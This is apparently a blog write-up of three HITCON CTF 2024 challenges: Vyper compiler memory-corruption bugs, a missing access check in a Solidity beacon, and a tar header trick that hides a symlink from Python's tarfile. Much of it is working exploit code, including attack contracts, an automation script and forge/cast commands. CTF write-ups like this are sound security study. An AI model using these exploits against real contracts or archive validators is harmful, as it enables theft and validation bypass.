<-->

 

I played HITCON CTF 2024 Quals with ColdFusion.

 

 


Lustorous

 

The challenge was written in Vyper langauge, it was my first time to take a look. I remember Vyper got an audit after the curve incident and there were no suspicious points in the code logic. So, I had a gut feeling that I needed to look for vulnerabilities in Vyper. 

 

I found two resources we should read.

 

https://github.com/vyperlang/vyper/security

https://codehawks.cyfrin.io/c/2023-09-vyper-compiler/results?lt=contest&page=1&sc=reward&sj=reward&t=report

 

The public contest has identified so many bugs in 0.3.10, the same version as the chall. 

 

--

 

Let's break down the task:

 

We need to create a gem and use it to battle a monster in a rock-paper-scissors game.

1. If we defeat the monster, we can attack it, reducing its health.

2. If we lose, the mosster attack us, reducing our health. The damage depends on ours hardness.

3. If there's a tie, nothing happens.

 

To win a stage:

1. Reduce the monster's health to zero

2. Ensure our health is greater than the monster's one

Otherwise, we lose the stage and rever to stage 0.

 

Note:

1. Our gem's attack power is very weak while the monster's attack doubles with each stage.

2. We can strengthen our gem by merging.

3. Only the admin(server) can initate a battle as our request.

4. We cannot predict the monster's actions since it is generated by randomly.

 

 

--

 

Here are the two key points we need to address:

  1. How to win at rock-paper-scissors.
  2. How to enhance the gem.

We can probably get through the first stage with a bit of luck, but for the second and third stages, we can't rely on luck alone. So, even if we can't kill the monsters, having a lot of health would allow us to at least force a draw in every rock-paper-scissors match.

The vulnerability below causes an overflow in the return data. Since we get our actions from master.get_actions() via an external call, this vulnerability is particularly relevant to our situation.

 

 

https://github.com/vyperlang/vyper/security/advisories/GHSA-gp3w-2v2m-p686

 

External calls can overflow return data to return input buffer

## Summary When calls to external contracts are made, we write the input buffer starting at byte 28, and allocate the return buffer to start at byte 0 (overlapping with the input buffer). When c...

github.com

 

 

 

The attack method is almost identical to the example provided there.

The caller expects to receive a dynamic array, so it interprets the first word of the return data as the array's location and copies the length from there. However, we can send any memory location that only requires a length check.

Since lunarian_actions: DynArray[uint8, MAX_ROUNDS] is stored in memory, we can copy those values directly into our gem_actions.

Looking at the memory map, lunarian_actions is located at a very low address while gem_actions is very high addres. To calculate the position, we use the opcode add offset, some number. By exploiting an overflow, we can achieve this movement.

 

--

 

Next, we need to finda way to win the battle against the 2nd and 3rd stage monsters.

 

A high vulnerability caught my eye:

https://github.com/vyperlang/vyper/security/advisories/GHSA-2q8v-3gqq-4f8p

 

concat built-in can corrupt memory

### Summary `concat` built-in can write over the bounds of the memory buffer that was allocated for it and thus overwrite existing valid data. The root cause is that the `build_IR` for `concat` d...

github.com

 

 

This is used in get_gem_id and seems very similar to PoC 1.

 

Referring to PoC 1, I examined the memory location with IR and found that in merge_gems, gem1 is loaded into memory. The subsequent get_gem_id seems to cause a memory overwrite.

 

According to the description, a one-byte overwrite occurs, so gem1 needs to be negative for it to result in a significantly large number.

 

 

256 + 32 + 1 = health's Most Significant Byte 

 

            # Line 186
            /* gem_id: bytes32 = keccak256(concat(master_addr_bytes, sequence_bytes)) */ 
            [mstore,
              192,
              /* keccak256(concat(master_addr_bytes, sequence_bytes)) */ 
              [with,
                buf,
                /* concat(master_addr_bytes, sequence_bytes) */ 
                [with,
                  concat_ofst,
                  0,
                  [seq,
                    [mstore, [add, 256, concat_ofst], [mload, 128 <master_addr_bytes>]],
                    [set, concat_ofst, [add, concat_ofst, 20]],
                    [mstore, [add, 256, concat_ofst], [mload, 160 <sequence_bytes>]],
                    [set, concat_ofst, [add, concat_ofst, 4]],
                    [mstore, 224 <concat destination>, concat_ofst],
                    224 <concat destination>]],
                /* keccak256 */ [sha3, [add, buf, 32], [mload, buf]]]],

 

                        # Line 86
                        /* gem1: Gem = self.gems[self.get_gem_id(msg.sender, self.sequences[msg.sender] - 2)] */ 
                        [with,
                          _R,
                          /* self.gems[self.get_gem_id(msg.sender, self.sequences[msg.sender] - 2)] */ 
                          [sha3_64,
                            4 <self.gems>,
                            [mload,
                              /* self.get_gem_id(msg.sender, self.sequences[msg.sender] - 2) */ 
                              [seq,
                                [unique_symbol, self.get_gem_id(msg.sender, self.sequences[msg.sender] - 2)46],
                                [seq,
                                  [mstore, 64, caller <msg.sender>],
                                  [mstore,
                                    96,
                                    /* self.sequences[msg.sender] - 2 */ 
                                    [with,
                                      x,
                                      [sload,
                                        /* self.sequences[msg.sender] */ 
                                        [sha3_64,
                                          3 <self.sequences>,
                                          caller <msg.sender>]],
                                      /* uint32 bounds check */ 
                                      [with,
                                        val,
                                        [sub, x, 2 <2>],
                                        [seq, [assert, [iszero, [shr, 32, val]]], val]]]]],
                                [goto,
                                  internal_get_gem_id__address_uint32__runtime,
                                  448 <label2_return_buf>,
                                  [symbol, label2]],
                                [label, label2, var_list, pass],
                                448 <label2_return_buf>]]],
                          [seq,
                            [mstore, 288, [sload, _R]],
                            [mstore, 320, [sload, [add, _R, 1]]],
                            [mstore, 352, [sload, [add, _R, 2]]],
                            [mstore, 384, [sload, [add, _R, 3]]],
                            [mstore, 416, [sload, [add, _R, 4]]]]],

 

 

 

 

 

The final scenario is as follows:

1. Start with 1.5 Ether and create a gem, then win one battle (retry if failed).
2. Use the 1 Ether reward to create another gem.
3. Engage in a battle until the gem becomes inactive.
4. Continue battling until the gem's health is negative, then enter master.decide_continue_battle.
5. Use merge_gem to increase the health to near infinity.
6. Tie every rock-paper-scissors match, relying on the high health to win all stages.

 

To get the optimal gem, I attempted to find which block numbers produce the best gems.

 

from web3 import Web3

def get_random(num):
    block_number_bytes = num.to_bytes(32, byteorder='big')
    keccak256_hash = Web3().solidity_keccak(['bytes32'], [block_number_bytes])
    int256_value = int.from_bytes(keccak256_hash, byteorder='big', signed=True)
    return abs(int256_value)

 

 

solve

 

contract Solve{

    address public vyper_address;

    constructor(address chall) payable {
        vyper_address = chall;
    }

    function register_master() public {
        (bool res, bytes memory ret) = vyper_address.call(abi.encodeWithSignature("register_master()"));
        require(res);
    }

    function create_gem() public {
        (bool res, bytes memory ret) = vyper_address.call{value: 1 ether}(abi.encodeWithSignature("create_gem()"));
        require(res);
    }

    function merge_gems() public {
        (bool res, bytes memory ret) = vyper_address.call(abi.encodeWithSignature("merge_gems()"));
        require(res);
    }

    function pray_gem() public {
        (bool res, bytes memory ret) = vyper_address.call(abi.encodeWithSignature("pray_gem()"));
        require(res);
    }

    function assign_gem(uint32 i) public {
        (bool res, bytes memory ret) = vyper_address.call(abi.encodeWithSignature("assign_gem(uint32)", i));
        require(res);
    }

    function continue_battle() public  {
        (bool res, bytes memory ret) = vyper_address.call{value: 1 ether}(abi.encodeWithSignature("continue_battle()"));
        require(res);
    }


    receive() external payable { }


    uint public num = 0;
    uint public stage_num = 0;

    function get_actions() public view returns(uint8[] memory)  {
        

        if (num == 0) {
            uint8[] memory arr = new uint8[](100 * stage_num);
            // win
            for (uint i = 0; i < 100 * stage_num; i++) {
                arr[i] = 0;
            }
            return arr;

        }
        else if (num == 1) {
            uint8[] memory arr = new uint8[](100 * stage_num);
            // lose
            for (uint i = 0; i < 100 * stage_num; i++) {
                arr[i] = 1;
            }
            return arr;

        }

        else if (num == 2){
            assembly {
                mstore(0x40, 115792089237316195423570985008687907853269984665640564039457584007913129620544)
                mstore(0x60, 200)
                return(0x40, 0x40) 
            }
        }

        
        else if (num == 11){
            assembly {
                mstore(0x40, 115792089237316195423570985008687907853269984665640564039457584007913129620544)
                mstore(0x60, 100)
                return(0x40, 0x40) 
            }
        }

        else if (num == 22){
            assembly {
                mstore(0x40, 115792089237316195423570985008687907853269984665640564039457584007913129620544)
                mstore(0x60, 200)
                return(0x40, 0x40) 
            }
        }

        else if (num == 33){
            assembly {
                mstore(0x40, 115792089237316195423570985008687907853269984665640564039457584007913129620544)
                mstore(0x60, 300)
                return(0x40, 0x40) 
            }
        }

    }

    function bn_74() public {
        register_master();
        create_gem();
 
    }

    function bn_74_1() public {
        num = 0;
        stage_num = 1; 
        // stage();
    }

    function bn_74_2() public {
        num = 2;
        stage_num = 2; 
        // stage();  
    }

    uint public decide = 0;

    function bn_86() public {
        create_gem();
        assign_gem(1);
    }

    function bn_86_1() public {
        num = 1;
        stage_num = 1;
        // stage();
        //// inactive
    }

    function bn_86_2() public {
        assign_gem(0);
        num = 1;
        stage_num = 1;
        decide = 1;
        // stage();
    }

    function bn_86_3() public {
        num = 22;
        stage_num = 2;
        // stage();
    }

    function bn_86_4() public {
        num = 33;
        stage_num = 3;
        // stage();
    }

    function decide_continue_battle(uint256 round, int256 lunarian_health) public returns(bool) {
        if(decide == 0) return false;
        merge_gems();

        return false;
    }
}

 

 

from pwn import *
from web3 import Web3
import json
import time

import hashlib

import warnings
warnings.filterwarnings('ignore')

def pow(preimage_prefix, length):
    bits = int(length)

    for i in range(0, 1 << 32):
        your_input = str(i).encode()
        preimage = preimage_prefix + your_input
        digest = hashlib.sha256(preimage).digest()
        digest_int = int.from_bytes(digest, "big")
        if digest_int < (1 << (256 - bits)):
            return your_input

def battle(uuid):
    r = remote("lustrous.chal.hitconctf.com", 31337)
    r.sendlineafter("action?", "3")
    r.recvuntil("https://minaminao.github.io/tools/solve-pow.py) ")
    preimage_prefix = r.recvuntil(" ")[:-1]
    length = r.recvline()[:-1]
    your_input = pow(preimage_prefix, length)
    r.sendlineafter("YOUR_INPUT = ", your_input)
    r.sendlineafter("uuid please: ", uuid)
    r.close()

def flag(uuid):
    r = remote("lustrous.chal.hitconctf.com", 31337)
    r.sendlineafter("action?", "4")
    r.sendlineafter("uuid please: ", uuid)
    r.interactive()




while True:


    r = remote("lustrous.chal.hitconctf.com", 31337)

    r.sendlineafter("action?", "1")

    r.recvuntil("https://minaminao.github.io/tools/solve-pow.py) ")
    preimage_prefix = r.recvuntil(" ")[:-1]
    length = r.recvline()[:-1]


    your_input = pow(preimage_prefix, length)

    r.sendlineafter("YOUR_INPUT = ", your_input)


    r.recvuntil("uuid:               ")
    uuid = r.recvline()[:-1].decode()
    r.recvuntil("rpc endpoint:       ")
    rpc_url = r.recvline()[:-1].decode()
    r.recvuntil("private key:        ")
    prikey = r.recvline()[:-1].decode()
    r.recvuntil("your address:       ")
    my_addr = r.recvline()[:-1].decode()
    r.recvuntil("challenge contract: ")
    challenge_addr = r.recvline()[:-1].decode()
    r.close()




    w3 = Web3(Web3.HTTPProvider(rpc_url))
    #Check Connection
    t=w3.is_connected()
    print(t)


    f = open("solve.abi", "r"); contract_abi= f.read(); f.close()
    f = open("solve.bin", "r"); contract_bytecode= f.read(); f.close()

    contract = w3.eth.contract(abi=contract_abi, bytecode=contract_bytecode)
    transaction = contract.constructor(challenge_addr).build_transaction(
        {
            "chainId": w3.eth.chain_id,
            "gasPrice": w3.eth.gas_price,
            "from": my_addr,
            "nonce": w3.eth.get_transaction_count(my_addr),
            "value": 10**18,
        }
    )
    sign_transaction = w3.eth.account.sign_transaction(transaction, private_key=prikey)
    print("Deploying Contract!")
    # Send the transaction
    transaction_hash = w3.eth.send_raw_transaction(sign_transaction.rawTransaction)
    # Wait for the transaction to be mined, and get the transaction receipt
    print("Waiting for transaction to finish...")
    transaction_receipt = w3.eth.wait_for_transaction_receipt(transaction_hash)
    print(transaction_receipt)
    print(f"Done! Contract deployed to {transaction_receipt.contractAddress}")

    cont_addr = transaction_receipt.contractAddress
    contract = w3.eth.contract(address=cont_addr, abi=contract_abi, bytecode=contract_bytecode)

    time.sleep(10)

    while True:
        bn = w3.eth.get_block_number()
        print(bn)

        if bn == 73:
            func_call = contract.functions["bn_74"]().build_transaction({
                "from": my_addr,
                "nonce": w3.eth.get_transaction_count(my_addr),
                "gasPrice": w3.eth.gas_price,
                "chainId": w3.eth.chain_id,
            })
            signed_tx = w3.eth.account.sign_transaction(func_call, prikey)
            result = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
            transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
            print(transaction_receipt)

            func_call = contract.functions["bn_74_1"]().build_transaction({
                "from": my_addr,
                "nonce": w3.eth.get_transaction_count(my_addr),
                "gasPrice": w3.eth.gas_price,
                "chainId": w3.eth.chain_id,
            })
            signed_tx = w3.eth.account.sign_transaction(func_call, prikey)
            result = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
            transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
            print(transaction_receipt)
            battle(uuid)
            sleep(5.5)

            if w3.eth.get_balance(cont_addr) == 0:
                print("restart")
                break

            func_call = contract.functions["bn_74_2"]().build_transaction({
                "from": my_addr,
                "nonce": w3.eth.get_transaction_count(my_addr),
                "gasPrice": w3.eth.gas_price,
                "chainId": w3.eth.chain_id,
            })
            signed_tx = w3.eth.account.sign_transaction(func_call, prikey)
            result = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
            transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
            print(transaction_receipt)
            battle(uuid)
            sleep(5.5)

            continue


        if bn == 85:
            func_call = contract.functions["bn_86"]().build_transaction({
                "from": my_addr,
                "nonce": w3.eth.get_transaction_count(my_addr),
                "gasPrice": w3.eth.gas_price,
                "chainId": w3.eth.chain_id,
            })
            signed_tx = w3.eth.account.sign_transaction(func_call, prikey)
            result = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
            transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
            print(transaction_receipt)

            func_call = contract.functions["bn_86_1"]().build_transaction({
                "from": my_addr,
                "nonce": w3.eth.get_transaction_count(my_addr),
                "gasPrice": w3.eth.gas_price,
                "chainId": w3.eth.chain_id,
            })
            signed_tx = w3.eth.account.sign_transaction(func_call, prikey)
            result = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
            transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
            print(transaction_receipt)
            battle(uuid)
            sleep(5.5)

            func_call = contract.functions["bn_86_2"]().build_transaction({
                "from": my_addr,
                "nonce": w3.eth.get_transaction_count(my_addr),
                "gasPrice": w3.eth.gas_price,
                "chainId": w3.eth.chain_id,
            })
            signed_tx = w3.eth.account.sign_transaction(func_call, prikey)
            result = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
            transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
            print(transaction_receipt)
            battle(uuid)
            sleep(5.5)

            func_call = contract.functions["bn_86_3"]().build_transaction({
                "from": my_addr,
                "nonce": w3.eth.get_transaction_count(my_addr),
                "gasPrice": w3.eth.gas_price,
                "chainId": w3.eth.chain_id,
            })
            signed_tx = w3.eth.account.sign_transaction(func_call, prikey)
            result = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
            transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
            print(transaction_receipt)
            battle(uuid)
            sleep(5.5)

            func_call = contract.functions["bn_86_4"]().build_transaction({
                "from": my_addr,
                "nonce": w3.eth.get_transaction_count(my_addr),
                "gasPrice": w3.eth.gas_price,
                "chainId": w3.eth.chain_id,
            })
            signed_tx = w3.eth.account.sign_transaction(func_call, prikey)
            result = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
            transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
            print(transaction_receipt)
            battle(uuid)
            sleep(5.5)

            sleep(1)
            flag(uuid)
            exit(0)

        sleep(1)

 

 

 


 

no exit room

 

There is no access control in Beacon.sol

 

solve

 

contract Solve {

    Setup public setup;
    Beacon public beacon;
    Channel public channel;
    Protocol public protocol;
    Room public alice;
    Room public bob;
    Room public david;


    constructor(address _setup) {
        setup = Setup(_setup);

        alice = setup.alice();
        bob = setup.bob();
        david = setup.david();
        beacon = setup.beacon();

        beacon.update(address(this));        
    }

    function solve() public {
        alice.request(address(bob), 10);
        alice.request(address(david), 11);
        bob.request(address(alice), 12);
        bob.request(address(david), 13);
        david.request(address(alice), 14);
        david.request(address(bob), 15);

        alice.selfRequest(16);
        bob.selfRequest(17);
        david.selfRequest(18);

        int256[] memory yvs = new int256[](0);
        alice.solveRoomPuzzle(yvs);
        bob.solveRoomPuzzle(yvs);
        david.solveRoomPuzzle(yvs);

        setup.commitPuzzle(116);

        require(setup.isSolved());
    }


    function evaluate(int256[] memory polynomial, int256 x) external pure returns (int256) {
        return x;
    }

    function evaluateLagrange(int256[] memory xValues, int256[] memory yValues, int256 x)
        external
        pure
        returns (int256 ret)
    {
        return x;
    }
}

// forge init --force
// forge create Solve --rpc-url http://no-exit-room.chal.hitconctf.com:8545/d6f01da9-d0f9-4cc8-ba53-48ce869b2434 --private-key 0x2c84dbc071d23774d1d7756226d3c0bc01a8a2c586f8979e1748ebd2999b5dd1 --constructor-args 0x48C41b1Db24b70465f12c5F8740063D7713002a9
// cast send 0x08e095BDEb4965F62Af6eaf5c0c9bf98B32F6CEE --rpc-url http://no-exit-room.chal.hitconctf.com:8545/d6f01da9-d0f9-4cc8-ba53-48ce869b2434 --private-key 0x2c84dbc071d23774d1d7756226d3c0bc01a8a2c586f8979e1748ebd2999b5dd1 "solve()"

 

 


 

flag reader

 

# tarfile.py

def nts(s, encoding, errors):
    """Convert a null-terminated bytes object to a string.
    """
    p = s.find(b"\0")
    if p != -1:
        s = s[:p]
    return s.decode(encoding, errors)

def nti(s):
    """Convert a number field to a python number.
    """
    # There are two possible encodings for a number field, see
    # itn() below.
    if s[0] in (0o200, 0o377):
        n = 0
        for i in range(len(s) - 1):
            n <<= 8
            n += s[i + 1]
        if s[0] == 0o377:
            n = -(256 ** (len(s) - 1) - n)
    else:
        try:
            s = nts(s, "ascii", "strict")
            n = int(s.strip() or "0", 8)
        except ValueError:
            raise InvalidHeaderError("invalid header")
    return n



    @classmethod
    def frombuf(cls, buf, encoding, errors):
# ...
		obj = cls()
        obj.name = nts(buf[0:100], encoding, errors)
        obj.mode = nti(buf[100:108])
        obj.uid = nti(buf[108:116])
        obj.gid = nti(buf[116:124])
        obj.size = nti(buf[124:136])
        obj.mtime = nti(buf[136:148])
        obj.chksum = chksum
        obj.type = buf[156:157]
        obj.linkname = nts(buf[157:257], encoding, errors)
        print(encoding, errors)
        obj.uname = nts(buf[265:297], encoding, errors)
        obj.gname = nts(buf[297:329], encoding, errors)
        obj.devmajor = nti(buf[329:337])
        obj.devminor = nti(buf[337:345])
        prefix = nts(buf[345:500], encoding, errors)

 

 

We're adding a symbolic link file to my.tar.
Here's how to bypass tarfile so it can't read it, while allowing tar to extract it without issue:

  1. In tarfile, if an InvalidHeaderError occurs during frombuf in obj.devminor, it skips parsing the file.
  2. tar will ignore the error and proceed with the extraction.

This way, the symbolic link can be bypassed during the reading process but still extracted properly.

 

 

solve

 

def calculate_checksum(header):
    checksum_field = header[148:156]
    header = header[:148] + b' ' * 8 + header[156:]
    checksum = sum(header)
    return checksum 

data = open("my.tar", "rb").read()

offset = 0xa00

needed_data = data[offset:]

needed_data = needed_data[:337] + b"\x60" + b"\x01" * 5 + b"\x80" + b"\x00" + needed_data[345:]
needed_data = needed_data[:148] + bytes("%06o\0" % calculate_checksum(needed_data), "ascii") + b"\x20" + needed_data[156:]

print(bytes("%06o\0" % calculate_checksum(needed_data), "ascii"))

written_data = data[:offset] + needed_data

open("go.tar", "wb").write(written_data)

'writeups' 카테고리의 다른 글

SekaiCTF 2024 - solana  (0) 2024.08.26
CrewCTF 2024 - blockchain(lightbook)  (0) 2024.08.05
justctf2024 teaser  (0) 2024.06.17
codegate 2024 quals  (0) 2024.06.03
Dreamhack Invitational Quals  (0) 2024.05.03

+ Recent posts